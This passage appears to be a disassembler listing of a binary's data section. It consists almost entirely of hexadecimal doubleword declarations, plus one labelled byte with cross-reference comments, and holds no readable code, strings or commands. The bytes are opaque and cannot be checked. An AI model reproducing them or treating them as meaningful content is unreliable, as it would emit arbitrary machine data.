0FE275101h, 1F94BA00h, 4F09A730h, 329D0081h dd 926F8CD2h, 0D900A52Fh, 1670157Dh, 122A6BFh, 85D5D154h dd 0D11EB89Eh, 1FAE030h, 0CF35C506h, 205366h, 41E68C7Ch dd 0C41B7BB2h, 0C2F85401h, 67856801h, 0F233AE0h, 0DA2938A1h dd 2815A646h, 447FF300h, 2ACA5AE7h, 174700A3h, 75635399h dd 0FA00982Eh, 0AA7D560Fh, 2EAD6A21h, 0BD51E4h, 0A1E916CFh dd 1903E1C3h, 95BB1DF0h, 3248A824h, 0C24500A5h, 0B058237Eh dd 0FD00947Fh, 0DA8D272Ah, 0D241A6h, 0ADD79CEDh, 0FA3A1E0Bh dd 928F2B01h, 0A0894D2Ch, 0B40F98F3h, 62F12647h, 8E5000D7h dd 2E8F9F4Ah, 86D72A00h, 0A5E470A3h, 0FF830067h, 780E5B6Eh dd 9700FB36h, 32734BA9h, 599BB5h, 7C7A874Ah, 30265541h dd 5CDDC200h, 78FA8F54h, 75D7C2Bh, 0A58D9877h, 0BEE830E4h dd 6E002ADBh, 22DC338Ch, 4FF267h, 11683691h, 988285F5h dd 437B0400h, 0E6D2D06Ch, 362702DFh, 42D5A64Dh, 40B42941h dd 0BE6860E8h, 690ED400h, 23C2439Bh, 47970BB0h, 1A8001FDh dd 0F1742FA1h, 3EFE0AFEh, 390075F0h, 2C8ACE32h, 0E8027D0Eh dd 0CFFF0029h, 0F5823B27h, 3D0026A0h, 0CB83E2Fh, 0F1A4F160h dd 7D1DFE4h, 1D4EA899h, 405B043h, 0CFA0D4CDh, 700BBC12h dd 80E182CCh, 186988D5h, 0E3060020h, 0E78D904h, 2C03B6BEh dd 391D5F7Fh, 930F82Eh, 6FBD00F7h, 9DD3C647h, 330362A8h dd 0CAB6F988h, 82C0DD3Ah, 0DB4985h, 0DEA1BE9Fh, 0EE36899Ch dd 1B094400h, 0B021281Ch, 0A210008Bh, 404B354Dh, 8E70D90Ch dd 7318000h, 0CAACFC86h, 2E309029h, 0B3B2F1h, 3AD294E2h dd 9C78255Bh, 7695D401h, 0D9838921h, 8B6420h, 0C2D61B7Eh dd 9BD7DD51h, 0C9853F07h, 4F50FC09h, 10FD2Eh, 122133A1h dd 272B04A2h, 68674603h, 0D840B36Ah, 0CE4D35h, 0AD131FA0h dd 178FB13Ah, 0F00BA20Fh, 0E1C1FE96h, 4D3187F6h, 0EB7C60h dd 8C816079h, 3B69D2BCh, 95F5F128h, 44B0CD00h, 2BBAE629h dd 8EDC0E39h, 9CA0FCC6h, 0ACD6C96h, 0C00028EEh, 0FA739366h dd 3102588h, 6AD0F09Dh, 0E5983154h, 0A031B20h, 19A6960Dh dd 0FE50002Dh, 0C3F20E48h, 501FE2A0h, 9E80C0E8h, 0FAB22489h dd 0C5786Eh, 8DAC37FFh, 2D1B8BF1h, 0C4652901h, 963B065Ah dd 4F9CDE4h, 0FA10BB6Eh, 0F0EC025h, 91008969h, 4CCE1805h dd 3FB08E44h, 6D03E8AAh, 5BFA9F66h, 32D52698h, 47C3F300h dd 1A22A075h, 42690705h, 4013A4A2h, 71944DC1h, 0A8CDED00h dd 0E78DC397h, 29FF82Bh, 1B62DBFh, 0DDE07908h, 0C500F6FBh dd 0D9E8A863h, 300AB870h, 39106941h, 0C490150Ch, 301E6098h dd 97C20F13h, 48A89E83h, 296F10h, 11FFD986h, 8C7E8F78h dd 2B1F2A0Eh, 276BE0C3h, 701B226h, 778255D3h, 0E232A0DAh dd 0DF008E90h, 67AF3094h, 3B2734BFh, 0F3804EFFh, 580DD046h dd 0B20F0FF2h, 0A01A95C1h, 4F5CDE71h, 0EBFF1D60h, 0F1C000Dh dd 0CA6F9EECh, 0D6F3DD00h, 0A630DBFCh, 73F0C7h, 0E8890586h dd 3369D044h, 0B67A30F7h, 9991F00h, 1D3F1060h, 0FB709Eh dd 846520D4h, 8F4976E6h, 0BE0BDC74h, 83BC48C8h, 0E03066EFh dd 0E2C0EF2h, 0D46780E7h, 7A89F4A3h, 19C084ABh, 7D011853h dd 17F7788Ah, 6DC8227Bh, 3968002Ah, 0EAE45D86h, 2603C4F2h dd 0A78B641Dh, 23FA8D5h, 40C8EF0Bh, 8967008Ah, 5B476D2h dd 9816F601h, 0D607D095h, 0C3E0C45Ch, 9D8B4Bh, 211D2A63h dd 3BF05F1Bh, 0FE3E0DEAh, 762380A4h, 8152032Fh, 0BB930073h dd 0D5B1C24Dh, 91001831h, 9AE18F55h, 7DBE3F6Ah, 35A307A7h dd 938E2DD2h, 38795854h, 46DE39h, 9B0AEE74h, 0FCD00Eh dd 0C7F3C9D8h, 557C5612h, 91DCEC00h, 3540FEC3h, 4CD80003h dd 19B30D62h, 3700284Dh, 8D9950BBh, 5D4226h, 0B73FF453h dd 0F975DD9Ch, 5399500h, 0E0A1BA98h, 0A4530056h, 0BCC43247h dd 7003388h, 99085FABh, 70123Bh, 0C61EF80Bh, 80271792h dd 15C8E900h, 0A4844172h, 0ACB100D2h, 318DCCDDh, 3F00EB78h dd 0A86AEC9Eh, 0FE918FAAh, 9B9D001Bh, 0E47C264Fh, 0E8C03498h dd 162EFC71h, 19890777h, 33A2DA39h, 4E90DBFDh, 0EF001D30h dd 0ABEC5C3Fh, 6A0CE6h, 0E08B6B2Ch, 0F130BFE3h, 405984A1h dd 7419D7DEh, 42100600h, 58A1BBBDh, 624B0FDEh, 2BC0934Fh dd 1BFDF47Ch, 0A7AD0900h, 4F3D77Eh, 4F9C0248h, 0D2CB2115h dd 9867FD40h, 0B39DB500h, 0C4AC9551h, 1D05F8A2h, 722E5C2h dd 707FA309h, 78B5CC4Fh, 4483BB24h, 12DDA701h, 0CF00721Ah dd 0CB00F89Ah, 427FD46Eh, 302EEFA1h, 0AA80291Dh, 0CF0052CEh dd 0B7C49258h, 705C79h, 0ABE410Fh, 0BA25307Bh, 0B9723A00h dd 0B5D59229h, 448648F7h, 56E93F00h, 0D083AD8Dh, 5552D900h dd 61F7519Ah, 0EDEFEABAh, 0BC25DCh, 69DC56A6h, 5997D293h dd 0C6221700h, 5F2CEDD0h, 566000AFh, 1128F3E6h, 0AC28933Dh dd 0F900CC37h, 5EB0AE73h, 303AF0CEh, 0B118D26Dh, 4891CC86h dd 539C5500h, 900E91C7h, 21870040h, 29E04370h, 0B50737F8h dd 98C48B65h, 4C7F7AA1h, 4AECC9DCh, 2AB8F2h, 221D882Fh dd 945E41h, 1678BDF6h, 0D909A344h, 0F28A901h, 0A66004C5h dd 191D3880h, 6BA56413h, 2401D3E4h, 1E929E4Ah, 2EF8994Fh dd 0DD7B00A9h, 0EC90FC79h, 0D23F9CF1h, 0EE188742h, 0BF711659h dd 1271E1A8h, 800C289Fh, 0C184B9E8h, 0AC14AB34h, 0FE02872h dd 0C0148FC6h, 0D2E7EEA9h, 954A0036h, 0AA7F17F6h, 0D8009461h dd 3EF5B655h, 3F880874h, 0F60F11CEh, 1E934B2Fh, 0A06E40CAh dd 0F83218D4h, 0D09AFFCh, 8B6C28h, 579FF010h, 472401B4h dd 0B5E43F93h, 0FCF2F1F8h, 0F1373EE0h, 67832884h, 0A854C1DBh dd 0E0DF2185h, 0C200FA37h, 0A0A9EF5Eh, 28ED6343h, 44A02AE9h dd 69C1402Ch, 69A323Ah, 0EDFDDF0h, 0D5E48C73h, 5793AA00h dd 720E2715h, 6C60D6h, 3E7792C3h, 995E8CAh, 4F7140EAh dd 210EDED0h, 235476h, 0A8105A48h, 0AC62071Fh, 0F937F3h dd 6DC8743Ch, 94760800h, 953EB5F5h, 4A7C1Dh, 0B1A80F6Ch dd 85938A36h, 0AEEDAB06h, 0D181379Eh, 9CEC04A8h, 0F2F1F361h dd 60E2929Ah, 209ED8h, 3418A1D7h, 86AA0AEDh, 9001087Ch dd 0A88CB210h, 0F1F3C35Eh, 92F03545h, 0DE151427h, 0F8062CF4h dd 5143A896h, 137D621h, 0DB9D0317h, 76289D2Bh, 849C8B4Ah dd 48008C1Dh, 8E5AAB71h, 0DE0015Dh, 0CE6220A1h, 56EEF032h dd 348FF9C3h, 79C11028h, 4B600675h, 1957F5h, 4C86251Dh dd 5A914F73h, 1215F0Ah, 2388708Fh, 815B0003h, 486CB3DEh dd 4C648h, 701084FFh, 5EBD0Ah, 0F64CB1EDh, 4ED66E06h, 0FB786C0Ch dd 7DA26935h, 4C1D56EBh, 0FEF5F201h, 0F039756Ch, 6D54DE22h dd 2A7E96B4h, 30F820A0h, 0DC9C890Ch, 18BAA84Eh, 3839C1EDh dd 1660EF0Ah, 0DC481D58h, 85F8A43Fh, 8D85DD04h, 0B8023B49h dd 8747EB7Fh, 21209AB4h, 24A06DC3h, 740B21Eh, 709F400Ah dd 22811B93h dd 245629C4h, 48A3A444h, 18E3420Ch, 28044225h, 5848BC39h dd 2F1FAB42h, 3E111414h, 70A4108Ch, 9F977100h, 23D3E0AFh dd 0EFFFC300h, 0F0051389h, 0F9FE0707h, 9084ACA0h, 0F2AF7298h dd 65DADE13h, 0AD645E00h, 710FCE9Dh, 6D500008h, 0DE23F9EBh dd 0FB005357h, 8CC85C93h, 1C3EB377h, 0FB08C760h, 1E2C01F5h dd 1726EFD0h, 0FEFBFC88h, 0CF00487Dh, 0DA11140Bh, 16AA3FCh dd 0CEEDE0C0h, 0CC794A17h, 360047EAh, 4161D71Ah, 2734E5h dd 2450E82h, 0CAC6C5Ch, 76D05200h, 702F4E8Eh, 0B54C0EADh dd 0EAC0E5E3h, 260A14D1h, 12206B00h, 7238AE18h, 0D4400F2h dd 0E1BC64D9h, 1C00D57Bh, 26C58E3h, 365F5Dh, 0CCBC98Fh dd 5B131EAFh, 0AC694D00h, 0F18C4E8Ah, 0FC6E5088h, 61680587h dd 90E589F3h, 5227D4DCh, 85E7733Ch, 0ECD7C3F4h, 9969C083h dd 97DC50B6h, 241E01D2h, 0D792058Fh, 0B90DD898h, 720054F0h dd 8D0673F4h, 41F0FDh, 6C49DB33h, 0B1535A0Eh, 0FCF81C00h dd 0A5575464h, 400349B8h, 689C8D00h, 161EF184h, 11A62600h dd 0D57E58E9h, 85C51702h, 0B84003E2h, 0C93B582h, 5383EBA8h dd 0DC0186E6h, 291747Eh, 0E8F0494Bh, 14C000A0h, 45BC430Dh dd 78003C36h, 29C69004h, 96DD27h, 0E13D411Ah, 6230346h dd 8F759E3Eh, 0CBB3EA10h, 0E488ADFh, 0A3C0621Fh, 2B755570h dd 60E65Fh, 4685D4C8h, 0BCEFC66Eh, 0C189D00h, 78237A48h dd 0D1E303DCh, 24DB8102h, 0D8A9C791h, 6C0048ECh, 0A2125F16h dd 9535CEFh, 883E21C6h, 7F60AE8Fh, 4F8B67A8h, 2CE410Eh dd 60AC8FF8h, 2380AA27h, 0F62C01B7h, 8A77B44Eh, 384FC449h dd 0D59E910Eh, 8155A9ACh, 72BF51B0h, 4E8BBF4h, 5E8992CEh dd 29578066h, 231F8393h, 2880CCE5h, 854D46CBh, 779E000Eh dd 102A8936h, 0A17B52D2h, 8D43211Eh, 0FFC7F07h, 0D65DD500h dd 95DE28AFh, 0BFC60097h, 0FCABB86Dh, 6505CC82h, 0A251D235h dd 0A90F3180h, 22DD00C0h, 8313154Fh, 7B73B0E6h, 0E7C0CEF3h dd 0D00F47Dh, 0F18F19A7h, 3E0867DCh, 18E06B3Ah, 0CD6D3D5Bh dd 0BFCEFB00h, 0E4A5D5CAh, 553700F5h, 0A77831A2h, 6F0E07DFh dd 0C0C83591h, 1A61E64Ch, 0BF0800D9h, 0AA23403Eh, 2B001249h dd 0DAF58833h, 8B81BCh, 0E43D544Dh, 1009D4F8h, 0E1D81E00h dd 450D8D65h, 508B004Fh, 75DFAE77h, 5A00A2ACh, 9CAA6809h dd 0F2781Dh, 2FDEB126h, 6B23B3EEh, 799F6600h, 0A67A70A0h dd 75C8F70Dh, 598D0067h, 8740159Dh, 1848E79Fh, 9B640361h dd 0C836F1D9h, 901DF44Fh, 49591E2Bh, 0C4064E9Dh, 0B932ABC0h dd 5800B387h, 3A3C2AAEh, 79205B02h, 0D71900DDh, 0D8C22C8h dd 0AD019437h, 3E06FD72h, 0C2C88245h, 0CDD600A1h, 17139D52h dd 8B00228Ah, 11E658EDh, 1BC130h, 0E544437Ch, 5EA77316h dd 8B7F0800h, 0E64EF484h, 2D7685h, 0A9D1276Ah, 6B70304Dh dd 88E91500h, 90D573F8h, 0DDA2006Ch, 0A33B27DCh, 1201AA8Ah dd 1710064Bh, 55FC03A0h, 2D8791Dh, 7FBD2258h, 16E0F2ACh dd 4B00A390h, 1C6E58Dh, 58BAB60h, 422C5913h, 7E87BE99h dd 11EAE1CEh, 0FDC0E414h, 0DD582E0Bh, 50DB0055h, 4F2703C7h dd 53EF5607h, 71F7091h, 33E07858h, 0D30DCEh, 9EDF6A72h dd 653FEC62h, 93C5748h, 80DA77CCh, 0BEA0CB02h, 9EE72BCh dd 35F16D4Dh, 7CFD8C00h, 8301801Fh, 76B1FFC9h, 0ADDC1A68h dd 22BA1CFEh, 0D830C090h, 0FC022ED2h, 0DD035F03h, 0D02B6B7Fh dd 0ADCA2EBh, 0A4E7C434h, 0B16800D5h, 827A29F9h, 6B047F00h dd 75CF509Bh, 0EE200ADh, 712A90D4h, 27006C85h, 0BFCB03F3h dd 310261h, 3639EB95h, 62113D6Fh, 7AE06C01h, 0BD8B5322h dd 468C30h, 2C644D95h, 0DEBBD7F2h, 0BB0260Ch, 46FB29Dh dd 91400780h, 0A6A481F8h, 0F5CDEC3Bh, 0AC2A5200h, 2F53AE37h dd 61FE0029h, 3F565D8Ah, 1C0FBE7Dh, 40C76670h, 3985337h dd 0A019009Fh, 0AFC05B81h, 0B700E37Fh, 5C640CEDh, 0F11BCB2h dd 6028C8A7h, 0CA96B0A0h, 49030DDAh, 2E10AE5Eh, 0C2778071h dd 0C820EFE1h, 399701Ch, 0A314730Ah, 328083F1h, 407D7A3Ah dd 4D41710Fh, 6D066009h, 391E0B98h, 250769DBh, 0B0CD11CFh dd 956F62BAh, 3F235100h, 0ABFA057Ch, 193D3F6Eh, 0E097B500h dd 0A55F7FD9h, 0FBAD7E07h, 0FF50C466h, 1DFC5B7Ah, 0C093C830h dd 602485Eh, 927511C5h, 27E50900h, 0A08913CDh, 3BE103F2h dd 0ACAA80AFh, 12D27EE8h, 850F9300h, 0C7DC0A99h, 0AD7902C1h dd 52919F21h, 0B5AB2C48h, 0BEC9607h, 0AD33935Fh, 4CD00248h dd 4F5AF8F4h, 79807063h, 96F8204Dh, 0D2C040Ah, 0EE009C76h dd 7D37C78Ah, 0D2932402h, 0DB8E004Ch, 30BB59A0h, 0EAFF4100h dd 430F871Fh, 0B03B18BFh, 0D18829E2h, 3EB6060Eh, 208E20BCh dd 0C6518B5h, 7BA09AD9h, 0AB0C5760h, 1199225Ch, 0AF1C0087h dd 0FCCBC801h, 726BF06h, 9C1EAC2Fh, 126176EDh, 0CBBC4Eh dd 0C63FE8EFh, 2BC103h, 8F9E2DCFh, 0F1FF6496h, 0F0A00A71h dd 5F0CF53Fh, 1016C5C8h, 28EF01F0h, 74751BBEh, 0AB40873Dh dd 0CBC0F582h, 183344BAh, 7853BF18h, 6F1821B2h, 4928350Eh dd 0C59B0683h, 205DD11Fh, 0A65F3E00h, 0AB8F17C1h, 0D2220060h dd 0FF141A99h, 301D8AF3h, 83C0EF15h, 0A9476A03h, 0C1E07DFh dd 0F786B193h, 0E655705Fh, 8A00F976h, 80A3D327h, 0F4282AFh dd 91B92147h, 764FBA80h, 0D0005850h, 8DCAB3A4h, 1ED099Dh dd 21EEC622h, 0FCC5042Ch, 180E40B9h, 4E96EB5Eh, 0CC4D83CAh dd 0B4B2A883h, 942D0087h, 1E532398h, 0FF00892Ah, 11ADE673h dd 0DEE2EDh, 4CB77BF5h, 0BB428E59h, 6AD30A01h, 875DA7EAh dd 0D42E70h, 52745AC4h, 0B9F34434h, 0DFCAC007h, 1E75E1h dd 6ABAE7CBh, 10B7CF0h, 14C6EFE3h, 0F041319Dh, 7B003A15h dd 0BBF5D21Fh, 2367A9h, 0C0ECDD3Eh, 515AA432h, 0E7CE502h dd 40DC1DEFh, 2B14924h, 0C585F290h, 0EFE0D74Bh, 0D2060ECCh dd 2B9181CFh, 0E07848C8h, 76A1E070h, 8D161C7Bh, 8224C0FBh dd 1BF269F6h, 8CEF9524h, 0D2AFE200h, 5AA97673h, 9E8F1h dd 9A1762DAh, 48F514FDh, 2100009Bh, 0F38034A6h, 7600663Eh dd 93E8A816h, 24195041h, 153B082h, 0EBB93996h, 1C48C47Dh dd 0B645C703h, 0A9ACBD61h, 0F1C19F4Bh, 24088220h, 74C3F2h dd 4F9BB011h, 1600D95Bh, 339E8AC1h, 0B042A7Ah, 3AB473B3h dd 630BC080h, 0B200C7DEh, 0BC2FC9A9h, 0A2F6F4h, 96D0482Eh dd 0EEDAE859h, 0C9002577h, 0FFB91366h, 48F4D33Dh, 0C214AEEBh dd 5803D0BAh, 70C11E4Eh, 0E0118CA1h, 541E8132h, 950A6977h dd 823EC1B1h, 4EB0A27Bh, 83DC8088h, 0D95871h, 932DF420h dd 6D32E8BCh, 0B4B7030Eh, 0CD89E10Dh, 104045E1h, 2E0827h dd 2CC8BDBh, 0C9DC7792h, 0A41A462Ch, 0C0CF2F00h, 45714h dd 64E324D9h, 0F35BB67Ch, 37B08700h, 53DA9117h, 0D733002Ch dd 0BECCC055h, 0F660F87Eh, 19C764C9h, 0DA0B008Bh, 0C4631085h dd 5E3B242Ch, 768BD89h, 9576E838h, 33F267D0h, 0B28301ACh dd 89475D9Fh, 4B7D60A8h, 0F82ED100h, 0BC925A54h, 12A601DBh dd 9820CCF3h, 7FF4EC45h, 0E51A1300h, 65588ED0h, 0CA94899h dd 6FA8A026h, 83126800h, 0F800EA8Ah, 9F36B813h, 0F64FB09Ch dd 538F0B49h, 0C280D12Bh, 8671CF31h, 98392400h, 6618F5B8h dd 1F21078Bh, 0A0375F46h, 263E5478h, 0E925081Eh, 0F106C6C0h dd 1FDC57ABh, 0BCC7B9E6h dd 3CA5DD0Ch, 0BF00A378h, 29649865h, 1445B85Eh, 0CD7E40D3h dd 0B98B821Fh, 6D4A2800h, 0ECB93801h, 9A0E6673h, 6032A10Dh dd 7AA054BFh, 0B8E3240Eh, 59CA0000h, 0AD1A94F6h, 9E88E400h dd 0CFB477A1h, 99EB006Ch, 3644B126h, 9B00CCF8h, 4CD893E6h dd 7F35881h, 3D8F509Dh, 27D1500Ch, 8075305h, 4414C162h dd 168024C0h, 0CBEE006Dh, 65300B1Ch, 173E98C9h, 0E6AA006Ah dd 3D55AFA4h, 0BCB1006Ch, 294102B7h, 0AB00DB87h, 353EA136h dd 0B25852h, 0CC8851B9h, 0DDF50ACBh, 0C2FEEE00h, 0D157191h dd 0B8847D45h, 0D8A21777h, 0E2BC001Bh, 0DAD6A8C1h, 7FFBDE01h dd 626CC579h, 74CF6E0h, 1E5CCD10h, 16BF5065h, 2600B2EDh dd 78D3E909h, 0A4EBC52h, 0E644ABE1h, 42FA0480h, 0C077C4E8h dd 8CD76B25h, 0B49CAA07h, 0B8E0F395h, 1DB5C598h, 459F5603h dd 77A847h, 5BCD8EF5h, 6D0027E1h, 62632832h, 3BE2D76h dd 83C51DDAh, 2BB024DDh, 7100F5AAh, 0B8E740E9h, 0D18B5Dh dd 0AB3EE892h, 886D0AD9h, 0F674237Ch, 30D2EF00h, 0BF1A26FDh dd 0A36B0382h, 0DA39631Fh, 6C60CDCAh, 0F4073656h, 0C3476FC9h dd 71F1650h, 5EEB3DA1h, 3A8A9280h, 0F2E25F41h, 52CE8E00h dd 0DF498208h, 15A63AFBh, 0F61DE703h, 7CA00B27h, 79004CAEh dd 71D86119h, 0A00E862Ch, 0CDF0D4h, 9EE45BB0h, 88E7CF4Ch dd 0AB93C2Eh, 0BB03D14h, 722ADE9h, 20ACF63Fh, 0C8C700E2h dd 0FE6DEC79h, 8A609B32h, 624B1D3Ah, 23430042h, 0DCED88E8h dd 29176F2Bh, 1F009EFDh, 6A407DCFh, 1C970079h, 749F7152h dd 0FF3F2423h, 6CBC2445h, 0B956FE00h, 0FAD317h, 306C6E5Ch dd 3A25A031h, 0F83F8701h, 1F72ABB7h, 224D1083h, 0C0C4D7F3h dd 0B9F4A6C2h, 0FB00AE71h, 1F174582h, 1D75DC15h, 318B47Ah dd 0FA28DE4Fh, 0BC70A6F0h, 920EAA3Bh, 9A01E686h, 221A1F04h dd 0B154B02Ah, 80F7C838h, 0D7583E2Dh, 4164BBh, 0F25AE0CFh dd 0DE8CBA17h, 49384B00h, 0F9068936h, 0FF26005Bh, 0C1E96276h dd 9B00926Ah, 7DD3E309h, 449F35h, 0EC693D6Fh, 0C4DE40F3h dd 0F70B95F4h, 82A8EEA5h, 4021A6CBh, 0ECE82C29h, 0D2EA0014h dd 7F9C3761h, 0BDFCD7F5h, 0CF75AF00h, 474338FDh, 3AA40042h dd 0DC519294h, 0EBB8B568h, 9AD1A301h, 59400141h, 6AAF3F0h dd 0B5B1EF75h, 55009832h, 5D3D7F72h, 0F0E001h, 60125495h dd 5FE2C56Eh, 0F150C707h, 3350A06Ch, 78CABE3h, 629DFFC6h dd 31EAF0C5h, 0C9F8D007h, 0F41B7300h, 6BE3B71Eh, 0FA3F03ADh dd 0E2210D3Eh, 1C6217A8h, 2F77FF01h, 98A15341h, 48090FCh dd 75C49157h, 0B389063h, 6E0188F9h, 2A7EC084h, 4070EE0Ah dd 96AC0072h, 4F5BE871h, 0AA0F9A73h, 44975A1Eh, 74843DE3h dd 2FACEE00h, 0F6417FDh, 4EB61C40h db 0C0h, 66h, 0Eh byte_52004F db 0B0h ; DATA XREF: ___:0043F6FDo ; ___:0043FF0Do dd 74001361h, 0EF37419Fh, 3EA1469Ah, 8D069533h, 64CC25ACh dd 11F20F00h, 36B65E59h, 1EF67F8Fh, 693F0Dh, 5DCA572Eh dd 5E00DF56h, 3BBE7462h, 48309Dh, 32F70BAEh, 6D750994h dd 0AA15FF00h, 0B665FB85h, 3392398Fh, 0FC1C00F7h, 7DA54F68h dd 960012FAh, 460F53F8h, 1E566EA2h, 8325E7FDh, 0DE93A4D2h dd 163D97BBh, 57928011h, 20F7FF83h, 6B710004h, 26050F9Dh dd 343977F5h, 0F3070023h, 0CE18AB58h, 9F2200E6h, 0FD9B19E9h dd 36730B68h, 2E3FF00h, 16A2B9BAh, 12A00ECh, 585A5332h dd 46071E10h, 0C0433BF3h, 0AA0055C5h, 3AA80A6Ah, 81B9B0F1h dd 5DF890F8h, 42820E9Ch, 40C04DCDh, 5079CFE8h, 57DE6707h dd 0E507EB51h, 4AFB5230h, 0BF6C0053h, 7836B9F6h, 348EC9Ah dd 2BF00088h, 283D8AF5h, 53670083h, 0BE0B0410h, 39617576h dd 0DC7FCC58h, 1CFCC420h, 8793B306h, 7028FAC9h, 92604D08h dd 0EE1A4212h, 2A03B51Fh, 0E9559E18h, 0F47090B1h, 32393DA3h dd 0A09413h, 0CB5D03E2h, 931CFE59h, 0BB4089B1h, 756AB717h dd 0DD241E37h, 7F923FFCh, 0CC7307E1h, 6D4E70AAh, 0B2733F04h dd 4BE8A000h, 0E1555979h, 0B85C000Bh, 3F47CEDh, 0E9078D30h dd 9A4E3780h, 10BF4C20h, 0EE4900B0h, 9B590F11h, 0F3003C42h dd 579CB6BAh, 27ABEDh, 6872FFC1h, 851671C9h, 4303B4E2h dd 2957D31Bh, 60E1A273h, 798D5EB4h, 181300C9h, 0BC2E426Ah dd 4000E648h, 33CD3F66h, 0E108F9h, 88E9A94Ah, 0A2C43735h dd 0AEEDEF00h, 837B0FB4h, 2DBD00BEh, 17996FD1h, 53129847h dd 0A41FEEADh, 9C2E000h, 3AD48A96h, 0A03B854Bh, 1DE80C75h dd 6D10AD4Ah, 7EEE9720h, 6A4100A5h, 32447FAEh, 1B1E0113h dd 200F98A6h, 9222A08Eh, 4CA44F34h, 0E7007CC2h, 3ED84BB6h dd 0A700140Bh, 7A5B073Dh, 28A94138h, 2814AD5Eh, 4C5574h dd 9A619729h, 965A13E1h, 1C0128A4h, 0F3D52778h, 0B3D8BF7Ch dd 0D21918D6h, 48E98812h, 0C9026F00h, 748C4E80h, 8FE70C46h dd 5F1A35D4h, 84CC3901h, 9EE669DAh, 3916C9E4h, 1A07925Ah dd 0A0E9E1ACh, 83673D56h, 0BA3F38h, 2B96ADBCh, 6153FDh dd 0EFB1CCAAh, 115B5D91h, 88EE5000h, 0BD7A7425h, 3B201E17h dd 4C628087h, 8C92683h, 280073B8h, 64EF5830h, 52972Ah dd 0E5ED54Fh, 89C1D086h, 3BB2380Fh, 0BA3C00E9h, 20AF63h dd 0F485691h, 0F2151BA7h, 244D63Fh, 1E37E0E2h, 0AF1448D4h dd 0B4AA5076h, 0BC840D6Dh, 46086E13h, 8F7820EAh, 5200BF74h dd 351E7A20h, 8674A8h, 0A37399E0h, 3CEEFE4Fh, 0F6AA5500h dd 1CCF877Dh, 184E65C9h, 88860786h, 591EC078h, 34054F18h dd 0AC58F2E8h, 31BED840h, 6179B7Fh, 4ED25A32h, 0A8670824h dd 7F206D21h, 0B0F24D1Ch, 64D92F5Dh, 21369ED4h, 361E0DA8h dd 9180F19Fh, 2C80F760h, 5A17E47Fh, 0B2225C43h, 7F265800h dd 983CE332h, 76D8001Fh, 0DDBD6D73h, 0C12AD93Dh, 3E469C4Eh dd 0D3BF8102h, 4E31454Bh, 0AA68C810h, 0ADD52B03h, 0B0701860h dd 6E76A0h, 6DD62199h, 200F15DEh, 0B39CBC24h, 37D8F100h dd 3C581496h, 0DA002F8Bh, 1208B17Dh, 0EB00A64Dh, 7FFC9944h dd 0A8BE78h, 0B9D518D9h, 9275E369h, 7D800517h, 6CFBF303h dd 0B6ABD06Fh, 642F3972h, 9C0EE19Fh, 847B14F1h, 0F43AA63Eh dd 25695980h, 3927BD34h, 0B457103h, 0C0CA47DBh, 0F512E1Bh dd 0E2C961B9h, 0E6A2CC60h, 220115E0h, 11F00277h, 8BF452DFh dd 0E143009Fh, 0C5C9CE84h, 8300912Fh, 0F411F18h, 7B95C709h dd 2C760075h, 0A728E254h, 55001626h, 0A476FF6h, 50D8F8h dd 0A8803323h, 6E39E420h, 0C0A98C00h, 18BAAF4Bh, 164D1C8Fh dd 23728027h, 0FD01BFAAh, 1DDF195Ch, 551F31E6h, 600BE28Fh dd 83EE46F5h, 683E60FCh, 0CA817E23h, 0FFB958h, 8B8CA98Ah dd 71917Fh, 0FE5CDF25h, 2B9FB5FFh, 7CF63Eh, 7A93DB61h dd 18D07E2Fh, 18F508EFh, 63008C49h, 966EBBD5h, 66501E5h dd 0A2A0A74Dh, 0A300A050h, 1F8967A1h, 0FE224AC8h, 90B9C07Bh dd 44F9B11Ch, 0B0BC4100h, 0D494B977h, 95A70C4Ah, 76284F8Dh dd 8886AF03h, 0AD7593EEh, 24286881h, 5A2E520h, 0BDC91663h dd 343EC0F2h, 0D573FD53h, 3C1F2703h, 0C8C3FE99h, 79AAEC50h dd 0F3681209h, 1DE400F1h, 0F8F6CFA5h, 6B35C70Eh, 94600DFh dd 736385Ah, 76E16F2Ah, 37E4107Dh, 20F1856h, 0A02C31D8h dd 0BF5DF9CFh, 4A240019h, 0EFB21C4Bh, 2003F06h, 81303AC0h dd 1CB19899h, 80F026h, 0E4763BBh, 0A63FD5E8h, 0BA0D1DD1h dd 0B627C101h, 5883F36Ch, 0CB0C8930h, 3D363801h, 58C8A745h dd 2C3CC0h, 344EFCC5h, 4A7BFFE0h, 0CFB2CD00h, 74DD6F35h dd 0AA710085h, 44839CAh, 0D9F792BEh, 4B90EC5Ch, 9B344C00h dd 3088281Fh, 10E5147Ah, 1C00D605h, 0F4732BECh, 0FD307C8Dh dd 0F995188Eh, 5F1103DDh, 0DD66B3Dh, 893BF97Dh, 80443F8Ah dd 18BD0381h, 58203680h, 0EA3BA875h, 7FE12867h, 0A0CD70E6h dd 4116D730h, 4880D93h, 4F61A186h, 0AB858004h, 2771AD03h dd 29E6D630h, 381C755h, 0FE08D9F5h, 80CBAA30h, 0E49EFA0h dd 66F9F660h, 0C34BD9h, 0CA7BE822h, 0C9252AA9h, 929F891Dh dd 0BC871032h, 3CBE0F04h, 12809124h, 3D6EE2B7h, 1EAD3900h dd 0DC86B322h, 2080028h, 0C3BD1363h, 6D01DFFCh, 24478354h dd 0C7F425A2h, 6174006Ah, 0C14EF2FFh, 0EF009F79h, 0A6687523h dd 567E6Bh, 459281A4h, 955F24FCh, 268A0707h, 0AF108E34h dd 0BC74A0h, 0E3EBD682h, 0D084EA27h, 633CB800h, 469DC04Eh dd 3DA500D9h, 0FBA435DFh, 27009961h, 0CE9A71EDh, 0E4E7EA95h dd 83C0001Ah, 8C3BB873h, 9F0367B0h, 327C0DE4h, 76858008h dd 441B3F09h, 0C2D7EF0Fh, 55B50A20h, 0FF0037F2h, 5F3F64A5h dd 0CF2179h, 5CD58B03h, 0E2ECCD10h, 80EBF639h, 0CBE17D74h dd 0E845623Dh, 0B51C0015h, 2EA59976h, 8F00A636h, 0B1F59E8Bh dd 0F48660h, 5EAFA201h, 0B09B6551h, 0E75F270Eh, 808A6953h dd 123E7F5Eh, 474B0016h, 79DF2C35h, 370E5449h, 0E0FF859Eh dd 0FAF0E0FDh, 0D70107EBh, 50953F1Fh, 5F8BD480h, 0AFC038h dd 9B8E5C24h, 5DB789h, 57117353h, 0E4EC612Ah, 7A1B2615h dd 0D53CFCh, 0F0848AF7h, 0FBC63Ah, 850129EBh, 0E6C2DD9Eh dd 4D003470h, 907CB8D4h, 0DBF786h, 0BE23110Fh, 55C34819h dd 2A044603h, 0E041A594h, 19289A1h, 8F6D5354h, 2458E3A6h dd 3A032234h, 0BEAA6AD3h, 